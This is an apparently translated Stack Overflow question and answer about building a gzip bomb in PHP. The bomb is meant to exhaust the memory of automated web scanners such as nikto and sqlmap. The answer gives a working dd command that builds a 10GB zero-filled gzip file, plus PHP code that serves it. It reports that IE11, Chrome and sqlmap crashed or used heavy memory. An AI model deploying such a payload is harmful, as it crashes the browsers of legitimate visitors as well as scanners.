【问题标题】:PHP - Is it possible to implement a gzip bomb in PHP for malware scannersPHP - 是否可以在 PHP 中为恶意软件扫描程序实现 gzip 炸弹
【发布时间】:2016-12-09 06:26:20
【问题描述】:
我目前正在开发一个 PHP 类作为 webapps 的 IDS 类,它可以检测暴力和 SQLi 攻击,我开始意识到对我系统的大多数攻击都是通过未配置的恶意软件扫描程序(如 nikto 或sqlmap。让我们暂时忽略这应该由服务器而不是 Web 应用程序来完成。
由于它们都是为分析来自网络服务器的答案而构建的,所以我认为可以用 ZIP bomb 轰炸它们。
我的想法是我的 PHP 脚本发送一个 gzip 标头,其中包含客户端将解压缩的小(压缩)gzip 数据 - 导致它耗尽其内存。
谁能告诉我一些关于如何实现的指示,或者 gzip 仅由网络服务器完成,不能通过 PHP 完成
【问题讨论】:
标签:
php
apache
nginx
gzip
【解决方案1】:
我在 Github 上找到了一个现成的解决方案。
它被称为GzipBloat,它完全符合我的要求。
首先,您生成一个 10GB 的 gzip 文件(第一次压缩后为 10MB),其中填充了来自 /dev/zero 的输入
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
然后在 PHP 中设置内容编码并将 gzip 文件发送到客户端。
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
readfile('10G.gzip');
结果(Win10):
- IE11:内存增加,然后 IE 崩溃
- Chrome 52:内存上升,显示错误
- Edge 38:内存先升后降,什么都没有显示(似乎永远加载)
- Nikto:以正常速度扫描,没有内存问题
- SQLmap:高内存然后崩溃